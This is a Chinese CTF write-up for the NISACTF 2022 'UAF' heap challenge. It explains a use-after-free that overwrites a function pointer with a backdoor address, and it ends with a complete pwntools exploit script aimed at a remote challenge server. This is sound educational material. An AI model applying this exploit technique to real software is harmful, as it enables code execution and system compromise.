【PWN · UAF】[NISACTF 2022]UAF

第一道Heap题目!!第一道UAF!!

文章目录

前言

一、关键代码

后门函数

UAF漏洞存在

​编辑 

函数指针调用函数

二、GPT解读代码

三、payload构造原理

四、UAF利用

show:

edit:

五、EXP:(薛微丑陋,见谅)

总结


前言

作为本萌新做的第一道堆题,接触到新的领域,总是又能够学到很多东西。

本题用到了堆漏洞UAF:use after free。 


一、关键代码

通过checksec、file基本了解信息后,拖入IDA进行反汇编。有几个重要的部分需要强调如下:

后门函数

【PWN · UAF】[NISACTF 2022]UAF_第1张图片

UAF漏洞存在

【PWN · UAF】[NISACTF 2022]UAF_第2张图片

函数指针调用函数

【PWN · UAF】[NISACTF 2022]UAF_第3张图片


二、GPT解读代码

本萌新才疏学浅,不如GPT

假设有以下定义:

void (__cdecl *page)(char *);

这是一个函数指针,指向一个返回类型为void、参数为char*的函数。

现在看一下代码行:

(*((void (__cdecl **)(char *))page + 1))(page);

  1. ((void (__cdecl **)(char *))page + 1) 这部分的目的是将函数指针page转换为一个指向函数指针的指针,并将其增加1。实际上,它将page视为一个指针数组,然后偏移了一个位置。
  2. (*((void (__cdecl **)(char *))page + 1)) 接下来,我们取得偏移后的指针(page的指针数组的第二个元素),并使用解引用操作符``获取该指针所指向的内容,即该指针指向的函数指针。
  3. (page) 最后,我们将page作为参数传递给获取到的函数指针,并调用它。

换句话说,这行代码的作用是调用page指向的函数指针数组中的第二个函数指针,并将page本身作为参数传递给该函数。

而看到可构造后门函数NICO,我们可作如下尝试:①argu=addr('/bin/sh')  ②func=NICO


三、payload构造原理

注意到page是一个数组,类型为 char *,在32位的机子里,这意味着一个page数组的单元,存储地址,有着4byte的空间。所以page+1将越过4个字节。这为我们构造特定的payload提供了依据。

page&(page[0])page+1&(page[1]) ,func在page[0]向后偏移4byte处,所以argu不能太长,必须小于4byte。

总而言之,如下构造:(’/bin/sh0x00’但是太长了,换成‘sh\x00\x00’,共4byte)+(NICO_addr,共4byte)


四、UAF利用

值得注意的是,在create、edit、del、show函数中(关键是edit和show),对于page页号有着不同的“过滤”

show:

【PWN · UAF】[NISACTF 2022]UAF_第4张图片

edit:

【PWN · UAF】[NISACTF 2022]UAF_第5张图片

这两者的不同,直接导致了page0的内容无法直接通过edit修改!而这正是我们要做的!

这就要利用UAF来绕过对page 0写的限制:在申请page 0后释放它,再申请page 1,此时获得的指针还是指向之前分配给page 0的空间。这时候我们通过新获得的指针修改page 0中的内容,在show的时候指明展示page 0,即可调用通过payload篡改的地址,即后门函数,getshell!


五、EXP:(薛微丑陋,见谅)

#(*((void (__cdecl **)(char *))page + 1))(page);
#上述代码调用*(page+1)的函数func,参数argu为page,即func(argu)
#发现后门函数NICO,所以我们试着如下构造:
#argu=addr('/bin/sh')  func=NICO

from pwn import *
from pwn import p32

context(arch='i386',log_level='debug',os='linux')

backdoor=0x08048642
file=ELF('./pwn')
payload=b'sh\\x00\\x00'+p32(backdoor)

# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28234)
#create page 0
io.recvuntil(b':')
io.sendline(b'1')

#delete page 0
io.recvuntil(b':')
io.sendline(b'3')
io.recvuntil(b'page')
io.sendline(b'0')

#create page 1
io.recvuntil(b':')
io.sendline(b'1')

#edit page 1
io.recvuntil(b':')
io.sendline(b'2')
io.recvuntil(b'page')
io.sendline(b'1')
io.recvuntil(b'strings')
io.sendline(payload)

#show page 0
io.recvuntil(b':')
io.sendline(b'4')
io.recvuntil(b'page')
io.sendline(b'0')

io.interactive()

总结

UAF的第一题,Heap的第一题。heap一直都是pwn里的大头,好好学!加油!

你可能感兴趣的:(【PWN,·,UAF】,堆,UAF,CTF,PWN)